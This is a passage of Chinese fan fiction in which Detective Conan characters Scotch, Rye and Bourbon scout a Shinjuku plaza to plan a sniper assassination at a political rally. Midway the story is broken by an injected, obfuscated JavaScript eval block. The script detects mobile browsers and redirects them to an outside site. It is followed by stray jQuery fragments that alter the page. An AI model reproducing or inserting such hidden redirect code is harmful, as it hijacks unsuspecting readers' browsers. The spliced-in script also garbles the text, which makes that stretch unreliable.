权力的魅力之一就是能让人视而不见听而不闻，并且世界无时无刻都在证实着这一点。苏格兰在楼顶上的大风里想。一次成功的威逼利诱固然好用，但一次足够血腥也足够公开的惩戒更能展现出组织的实力，让其他摇摆不定的政客们看清谁才是说了算的人，以及违背组织意志的下场。


    莱伊推开吱呀作响的铁门时，他正蹲在天台准备抽烟。顶楼风太大，手里的廉价打火机总是打不起来，摁了足足五次也没点着。于是干脆叼在嘴里，雾蓝色的连体兜帽衣遮住了整个头，只有额前的碎发底下露出一双上挑猫眼。


    “发生什么了？”他说：“波本被你气走了。”


    这就是蹲这实地勘察的人只有他一个的原因，此乃常有的事，安室透和莱伊就像一对冤家。虽然迄今为止他们合作过的任务都保持了百分百的完成率，却也没法掩盖每次合作都要闹得一番鸡飞狗跳的事实。


    并且这还是某种回合制小游戏，今天莱伊能靠着自己的一张嘴把心高气傲的波本气走，明天波本就能用自己绝佳的个人能力把爱装逼的酷哥面子扯下来往坑里踩上一脚。互相倒竖大拇指怎么不算一种默契？双方在互坑上保持了高度一致，连思路都是互通的。


    他对面的人没有说话，只是走到栏杆边，望着底下拥挤不堪又琳琅满目的霓虹灯：“你对这次参议院选举有什么看法？”


    “如果这是试探的话，未免也太过直白了一些。”


    “所以这不是试探，我只是在尝试聊天。”莱伊从皮夹克口袋中翻出火柴盒，发现里边还有最后一根火柴，背着风划了两次，才在手心的遮掩下点燃：“分我一支。”


    苏格兰把空空如也的烟盒打开给他看，示意自己现在真的是一根都没有了。他轻微地啧一声，秉着都已经点燃就不要浪费的原则凑过去给苏格兰点烟，两人头挨着头靠在一起，高大体型把风挡得格外严实。烟支末尾很快就燃起火星，焦油量14mg的日税版黑标七星，口感柔和且烟气饱满。


    苏格兰被腾升而起的烟雾熏了一下眼睛，顿时眯成一条缝：“听说这次国民民主党席次暴增了四倍。”


    “并且右翼政党改选席次从一席飙升至了十四席。”莱伊说：“哪天这个国家完蛋了，你可以来找我。”


    “有的时候我会觉得我是不是给你卖了身。”苏格兰坚决地拒绝：“而且我可没说我是日本人。”


    “你老婆还是我给的。”


    狙击手有三不碰，一手轮二射表三瞄准镜，这是自古以来就永恒不变的真理，鉴于已经有了此类前车之鉴，而经验是永远不要小瞧威士忌当中任何一个的搞事能力。于是苏格兰把自己的PSG-1往怀里又塞了点，抱着外边的吉他盒不松手，威胁意味十足地看回去：“你的任务履历应该对此有话要说，这是我靠自己努力得到的。”


    “它当狙击枪用还是太烂了，有没有想要的？我可以托人再从欧美那边弄把高精度的来。”


    “没门，你就是想把所有活都推到我头上然后骗我给你打工。”


    奸诈的美国佬！绿川光愤愤地想，虽然对方确实有在照顾他，但带来的麻烦与棘手程度完全有过之而不及，再算上卧底部分，他和降谷零的工作量都不断加加加加到厌倦。其中至少有一半是因为莱伊，并且本人还在孜孜不倦致力于往上堆叠重量。


    莱伊的示好时常裹着蜜糖，这个说法其实还不准确，因为波本才是那个口蜜腹剑的类型，他更像写下了《断头王后》的奥地利作家斯蒂芬·茨威：任何看似无偿的获得，最终都需要付出相应的代价。


    ——她那时还太年轻，不知道所有命运馈赠的礼物，早已在暗中标好了价格。


    也许是苏格兰脸上的眉毛挑得太高，眼尾上扬得太厉害，又或者是天台的风太大，霓虹灯光太亮，莱伊在烟雾里模糊而遗憾地笑了一下：“我该去骚扰一下波本了。”


    大炮是真理，剑锋是尊严，那么情报就是生命。每个国家的情报机构建了一个又一个，牺牲了一批又一批人，一份情报即可左右战局乃至全世界。以至于到了现在，二战时的设置不仅没因为热战争的终结而消失，反而更加发扬光大起来。


    说得直白一点，为了不让自己接下来的行动多升几个困难级别，现在莱伊准备自己送货上门，去给波本坑一手。然后在恩怨暂时扯平的当下，两人一起把任务解决了，回去再进行一些内部鸡飞狗跳的互坑。


    被他寻找的安室透此时正在广场的咖啡馆里游荡。


    无需变装，他的日常装扮就已经足够白领，而且在千篇一律的白衬衫里边毫不起眼。一个正在为即将到来的活动而忙碌的商务人士形象豁然跃出，没有人注意到他这整个上午都在广场周围的咖啡馆和酒店旁流连。


    据情报线显示，新宿区的大型露天广场上会在三天后举行一场政治集会，或者说活动也未尝不可，估计会有上千名支持者和媒体到场，这点也遗传了其爹的特色作风——没办法，他们再不开点政治集会，那就要轮到民众来开了。


    世界上的另一个真理就是，如果你不主动选择朝右转并走向Fascism，那么穷光蛋们就会帮你选个布尔什维克，虽然离穷到那个地步仍存在不可跨越的沟渠，但对于布尔什维克来说怎么防范都不为过。而干卧底也同理，如果你不主动选择掌握命运，加害者们就会帮你选择命运。


    一般而言，他很有工作热情。一般而言，他怼莱伊也很有热情，但当这两者结合在一起时，结果就不太美妙起来。这就是安室透毫无波澜地嘁声，挑剔地抬起眉毛的原因：“嘁，怎么找到的？”


    “绿川光。”莱伊靠在小巷子里，双手懒洋洋地插在兜里，下巴冲他一扬：“他往你身上拍了定位器。”


    妈的，就知道那家伙两边都坑！警校时就已经初见不对，这几年进了组织后更是本性暴露一样放飞自我。诸伏景光、绿川光、苏格兰——无论哪个，他们就是那种会开十个玩笑，然后把真正干了的坏事藏在其中的某个玩笑里，等待着某个一无所知的，一脚踩上来的某个有缘人，然后笑眯眯地告诉他你死了的人。


    但降谷零又不会怪诸伏景光，他只会把一切转嫁给他人，特别是加倍翻给他看不惯的存在。不单指莱伊，而是平等辐射了所有人，毕竟这人能力没得话说，即使动手也要为自己之后的卧底之路多考虑几下。只是有些人离得近，所以首当其冲一些。


    他们三个人在咖啡馆里碰头，安室透调取了附近所有建筑图纸、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359591|179686||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    包括各楼层平面蓝图、监控摄像头布局。很好，没有人真的愚蠢到在电脑里将近期活动安保方案事无巨细的记录在案，这下公安的可操作余地就大了起来。


    他当然能黑进广场的市政管理服务器，都不用动用零组，但是他干嘛帮组织成员高效便捷地解决任务？不过这确实是个好机会，动议员本就风险颇多，出点岔子也是很正常的事，要是幸运，他们还能真正意义上坑莱伊把大的。安室透想。


    而莱伊和苏格兰则扮演成流浪歌手，筛选出广场周围所有可能的狙击点，酒店、高建筑物、通风管道、甚至连远处还在维修中的塔楼也没放过。然后两个狙击手对着警方的日常巡逻路线、安保人员的布防习惯、媒体架设机器的最佳位置进行一番讨论与研究。


    怎样杀人还没商量出来，规划里就已经出现了至少三条撤离路线，并且还有接应车辆。苏格兰认为这是美国遗留产物，建议他早点放弃在日本大街上飙车的可能性。莱伊则坚持只要不被当场抓获就是没有犯罪的说法，试图用自由的英美法系征服日本的大陆法系。


    经过多次实地测量风速、湿度、光照角度，调整射表参数后，他们最终选定了一个距离广场九百多码的一栋老旧商业楼的楼顶。这里视角绝佳，有一个不易察觉的通风口可供射击，且大楼管理松散，人员复杂，易于潜入。


    莱伊放下望远镜，转手递给旁边的苏格兰：“打得到吗？不行就我来。”


    苏格兰把右眼凑上去，对准目镜，估算着从这个狙击点到开阔广场之间的具体距离，在脑海里粗略一算，发现实际码数已经接近有一千码：“这不是你的上限吧？”


    “当然不是。”


    莱伊从吉他盒里把枪拿出来，开始调试高倍率瞄准镜与密位。这就是几个月前琴酒通过特殊渠道运抵东京的那把，经过定制化改装、可快速拆卸并携带的精密狙击步枪。旁边还有消音器与夜视镜，他总是忘带这俩样东西。


    倒也不是真的忘带，而是觉得没必要，现实情况里十次中也不一定能有一次用得上，现在能让他认真起来进行狙击的情况不多见了。很显然琴酒也知道这一点，所以堪称是暴躁地把它们怼到了最上层，确保其主人看得见：“想知道吗？要不要猜猜？”


    “谢谢，但是不想。”苏格兰又问：“英国的AW50？”


    “这把是AW，L96A1。那东西我可背不起。”


    苏格兰想了很久才在莱伊的提示下把AW从记忆里扒拉出来，日本不比美国，可以拥有极其丰富的实践经验与亲身经历，那堆资料实在太多，单靠记忆力实在难以全部记下。尽管精密国际这个大家庭无论在业界还是游戏内都享有盛名，但其源头AW也就是L96A1型号的实际生产时间其实很短，认混也在所难免。


    虽然AW停产了，但它后续的改进型号实乃多姿多彩，每一样都还是在国际市场与业界知名度非凡，堪称标杆的存在。AW50就是AW的改进版本，不仅重上几乎一倍，而且还更大更猛，广泛运用在各个场景当中。


    “打算大展身手？”于是苏格兰笑眯眯地凑过去，上挑的猫眼明明看起来纯然无辜，但在气质的衬托下就莫名显得不怀好意起来：“我给你当观测手怎么样？”